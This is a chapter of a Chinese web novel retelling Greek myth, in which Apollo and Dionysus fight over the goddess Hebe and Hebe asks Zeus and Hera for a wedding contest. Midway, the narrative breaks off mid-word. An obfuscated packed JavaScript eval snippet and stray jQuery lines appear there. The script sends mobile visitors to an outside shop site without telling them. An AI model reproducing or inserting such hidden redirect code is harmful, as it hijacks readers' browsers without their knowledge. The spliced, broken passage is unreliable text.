离开火焰的光亮,他秀美的脸容显得格外苍白。白得有如公牛被宰割献祭后所余的骨骼,那是有死者身上最具神性的部分。洁净如白骨的脸颊上,一双深紫色的眼睛黝沉,幽深,那目光却浓烈,癫狂,又执着,如看怪物一样看她。

    他的肌肤光滑,不见分毫闪电劈毁、天火焚烧的痕迹,那些痕迹都留在了那双眼睛中。

    看着这样的眼睛,她呼吸一窒,惊疑不定,自己亲手唤来的闪电雷火竟叫他毫发无损?她明明见到了烈火将他环抱。

    这是怎样的怪异。她打了个寒噤。

    余光一瞥,阿波罗不动声色地把她又往后掩了掩。他挑剔地打量须臾:“你就是那个父亲宙斯用大腿孕育的神子?”

    狄俄尼索斯没搭理他,只盯着他身后穿淡绿裙袍的少女。他开口:“你告诉我了。赫柏,宙斯的女儿,跟我回去。”

    他好像想把我吞下去。他是怪物吗?赫柏心想,她竭力不叫自己感到畏惧,睁大眼睛瞪过去。

    手上一阵温热,阿波罗一握她的手,慢条斯理地开口:“她是我的未婚妻。你退下,还没有登上奥林波斯,就不要妄想与天神争斗。”

    狄俄尼索斯终于看向阿波罗,这男人像一棵供白果槲寄生缠绕的高大苹果,让她有所依靠,叫他感觉碍眼。他不客气地说:“你带走我的人,把她还给我。”

    “你的人?”阿波罗嗤笑了一声:“她是她的父亲许给我的,当着奥林波斯全体天神的面。这是天父宙斯的决定,连她的母亲也认可了。”寒冷的星光下,他湛蓝的眼睛十分冷淡。

    狄俄尼索斯重新盯住那荫蔽在阿波罗神光中的轻盈身影。“她当然是我的人。仪式举行过了,新娘也为丈夫送上了蜜酒。丈夫才是一家之主,懂吗?就像宙斯是奥林波斯的主人。”

    颠三倒四,无理取闹,荒谬透顶,叫人发怒。

    “谁跟你举行过仪式了!”

    赫柏豁然探出头,清清脆脆地叫道:“你又没有向我妈妈祝祷。我妈妈才是婚姻女神,她没点头,就不作数!”

    眼波一转,这小女神又笑了起来,她挣脱出来向前一步,抱住阿波罗的手臂。“妈妈认可了的,才是我的未婚夫。”她笑容清甜乖巧,面颊如春花打开蓓蕾,故意拖长了声音。“就是他。我们马上就要举行婚仪了。你快快努力,才能登上奥林波斯来参加我们的婚礼哟。”

    “哎呀!今晚就是婚期了,你来得及吗?”她真诚地担忧起来,声如银铃,甜美清澈,心里怀着一股尖锐的恶意,对狄俄尼索斯,也对阿波罗。

    做戏做全套。

    她歪过头蹭了蹭身边预言神的肩膀,澄金明媚的秀发披向一旁,顽皮亲昵地垂落在他臂弯。眼波清亮中透出妩媚,唇瓣轻启,嘴角浮起可爱的酒窝,好似下一瞬就要把甜蜜热烈的亲吻落在身边男人的脸上。

    如她所愿,那苍白秀美的青年转而盯住阿波罗。“我打赢他,就能带回你?”

    她俏皮地眨了眨眼睛,只依偎着阿波罗,指尖深深陷入他华贵衣料下的肌肤。如果可能,她真想咬掉他一块肉。

    过于明显的祸水东引,拙劣、甚至懒得贡献更好的演技。小赫柏,这是你想要的吗?

    “来战斗!”她听见狄俄尼索斯的呼喊。

    可她顾不得那么多,胸臆中杂乱无章的情绪急切地需要出口。愤怒、气恼、厌恶、刺痛、难过,以及那么一点拒绝承认的伤心。

    “我为什么要跟你战斗,她本来就是我的未婚妻。”阿波罗的声音还是那么漫不经心。

    她听见自己笑盈盈的声音,小河流水哗啦啦般拨弄:“狄俄尼索斯,你打得过我未婚夫吗?他可是远射之王,缪斯首领,德尔斐神谕所的主人,奥林波斯山上最耀眼的天神,最配得上我的尊贵的丈夫,阿波罗。”

    “不,你不爱他,你爱我。”面色苍白的青年露出笑容,“你向我显露真名,让我再次坠入黑暗与烈火,我一定要得到你。”

    阿波罗的手臂终于绷紧了,他眯起眼睛,唇角微抿,这是被触怒的征兆。

    原来不和女神厄里斯的行事如此叫人痛快。她仍挂在阿波罗的臂弯,含情带笑。“你一介半神,何必来送死……”

    “铮——”响声清琅,直贯心胸。

    她回过神来。

    是弓弦在震动。

    “认识你自己。”手持银弓的天神对她说。“足以赶走厄里斯的女神。”他如此称呼她,这声音清越辽远,涤荡在她的心灵中。

    她迷惑地眨了眨眼,转头看向他,那双湛蓝的眼睛低下来,看着她的双眼。

    女神的目色重现了清澈明亮。

    他却不再看她,收起银弓,抽出金剑。因为那疯疯癫癫的家伙刚才又说话了:“她是我的妻子。只能是我的。”

    阿波罗冷笑了一下,金剑焕发出耀眼的光辉。

    见奥林波斯的天神摆开阵势,狄俄尼索斯大笑:“来吧!彼奥提亚的大地与森林作证!胜利的人带走不老的青春!”

    卷曲的黑发披散,枯焦的花叶冠颤抖,他拿起了顶端镶嵌松果的手杖。迎上莫名的爱,也迎上可见的死。

    阿波罗将赫柏往后一推,顺手升起一道四面围拢的金色屏障,保护她,也拘禁她。

    如思想一样快,金剑与茴香木杖相撞,掀开一片气浪,草木倒伏,河水悲鸣。此人的力量格外超出于其他半神,简直是一个真正的不朽者。

    他眼睛一眯。大约是适才那小丫头引下的天雷,好巧不巧,竟烧去了此人属于人类的部分,令其距离不朽者更进一步。几乎就只差登上神山,成为奥林波斯天神中正式的一员了。

    小丫头倒会给他添麻烦。

    阿波罗横过金剑,又是一击挥出。群山摇颤,被他引发,也被对面那人引发。

    整片大地都被黑夜笼罩,唯有基泰戎山被阿波罗的光芒映照,煌煌如白昼。

    山脉与大地的影子在此剧烈摇晃,而后那影子也消失在天神自身无尽的光明中。云层后有无数窃窃私语。他知道奥林波斯的众神都在关注此地。

    他听见身后赫柏的叫喊:“阿波罗!你放我出来!”

    百忙之中他回了一句:“不行。”

    “你放我出来,我有话说!”她又喊了起来。

    他头也不回:“乖乖待着。”

    那小丫头好似终于气馁,好半晌没说话。他专心与狄俄尼索斯作战。

    这家伙挥舞手杖的情态若癫若狂,更纠缠赫柏,令他不悦。哪怕此人是父亲宙斯钦定了要登上奥林波斯的天神,我也定要与他一个深刻入骨的教训。

    高傲的阿波罗如此决定。他将神力与思想集中,辉耀如白昼的神光收拢,凝聚在剑身上逼成一线。

    大地、山峦、森林以及河流都停止了行动。众生屏住呼吸,一起瞪视此间。

    疯疯癫癫的狄俄尼索斯也收起笑容,严阵以待。被她引下的闪电天火在眼中燃烧,他等待着。要么去往冥府,要么带走她。

    ——“爸爸!妈妈!”小女神清甜娇嫩的声音忽然又高高响起。

    阿波罗一怔,转头望去。屏障内有一株橡树,那小女神不知何时攀到树木高耸的顶端。从树叶摇晃的梢头仰望天空,她大声叫道:“爸爸!妈妈!爸爸!妈妈!”

    那是女儿嘤嘤呼唤父母的声音。

    一线雷光在乌黑云层中闪过。她尊贵亲爱的父母正在倾听她所言语。

    “爸爸妈妈!分开他俩,我有话说!”

    乌云轰然中开,霹雳降下,炸在对峙的两个男人之间。

    他们不得不后退了几步。

    阿波罗颇感恼火。“赫

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17980408|214815||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    柏,你在做什么?”他直截了当地发问,声音中挟着火气。她知不知道现在云层后全是天神?众神目睽睽下,福玻斯·阿波罗的面子往哪儿搁。

    赫柏知道,她喊得更大声了:“爸爸妈妈,我不开心!凭什么,我的婚礼要这般草率。我不是你们最爱的小青春了吗?”

    “没有选拔,没有竞技,也没有节庆!莫名其妙地被疯疯癫癫的家伙拉着在火堆前站。女神怎能嫁给凡人!这婚姻,不作数!”这小女神娇蛮地叫道,一席话语无伦次。少女的脸颊鼓起,嘴唇撅翘,波浪般的金发也如波浪般跳动。她生气,也委屈,泪水盈盈将落未落。

    一低头看见脸色沉冷,目显不悦的阿波罗,越发生气。

    从小到大,没人敢让我吃这样的苦!

    情绪涌出胸臆,化作语言从唇齿间吐出:“爸爸!你不爱我了,才这么急着把我嫁出去!匆匆忙忙随口定下,叫奥林波斯女神的婚礼还不如奥林匹亚的凡女!”她全然不提自己逃婚之过,只一味比较没得到的东西。

    “我的小青春,从你嘴巴里溜出来的是什么话!”众神之王的话语从云上传了下来,轰隆隆地,宛如雷声震响。

    过了片刻,宙斯的语气又温和下来,宛然便是慈父在应对让他心疼又头疼的小女儿:“且说说看,你还想要什么。只要爸爸妈妈能做到,就都给你。”

    岂有此理!阿波罗开口了:“父亲宙斯,神后赫拉。我同青春女神的婚姻乃是命运昭示,父亲决定,婚仪也是按照合宜的规格制定,何来匆忙之说。倒是某些女神,逃婚背约,还敢张嘴告状?”

    “闭嘴,坏东西!”赫柏一擦颊上泪珠,毫不客气地回他。女神清亮的双眸折射出月色华辉。“我跟爸爸妈妈撒娇,有你说话的份儿?”她还带着哭腔,却又这般张牙舞爪,实在滑稽。

    狄俄尼索斯听到此处哈哈大笑,他本已有些脱力,此刻纵声大笑,茴香木手杖顿时松脱,裂开草地,地缝里再次涌出汩汩的泉水。森林影子里探头探脑的萨提尔们见状涌出,由矮胖老头模样的森林神西勒诺斯带领,把这位尚未登神的小主人扶起来,坐到一旁被百合花环绕的石头上。

    难得见阿波罗被当众下面子吃瘪。

    显然云中的奥林波斯众神也这样认为。一阵阵窃笑如低沉的雷鸣般在广漠的大气后散开,阿波罗发誓,他甚至听见了母亲勒托、姐姐阿尔忒弥斯以及外公科俄斯和外婆菲碧的笑声!

    大气稍稍裂开,神使赫尔墨斯探出头来,绿眼睛闪动快活的神光,笑嘻嘻地招呼她。“小泉水!嘴还是那么巧。”

    赫柏见有人撑腰,越发气壮。“我听说,人类的父母要为女儿择婿,也定要先选拔竞技,考察人品,如此选择佳婿后,举办招待整个地区的宴会,以庆贺女儿出嫁。”

    黎明还等待在长河之中,群山无声,森林与大地也悄然静听。

    百合与山柑橘的芳香漂浮在彼奥提亚的夜色中,番红花不语,一颗琥珀似的露珠从苹果的枝干上落入草丛。

    她顿了一顿,举起胳膊,语声清亮地叫道:“至高无上的天父宙斯与神后赫拉呀!”

    “如果你们还记得,青春的女儿为你们带来了怎样的欢乐。请听我祈祷,让我的愿望实现。”

    “在此时此地,在基泰戎山下的普拉提亚,为我举办一场婚礼竞技赛。我要将它献给今年的代达拉节!庆贺爸爸与妈妈爱情的神圣重生!”

    她的声音落下,整个宇宙安静了片刻。

    旋即群山欢笑,森林摇晃,盖覆鲜花嫩草的大地长出一口气。

    诸神之王夫妻微笑点头,他们交握身旁的手,涂抹仙液的头发顺势泼泻,与充盈心胸的情感一道。

    闪电从天而降,点燃森林中最高大橡树上的槲寄生,竞技的祭火亮起。让奥林波斯最年轻的女儿欢笑。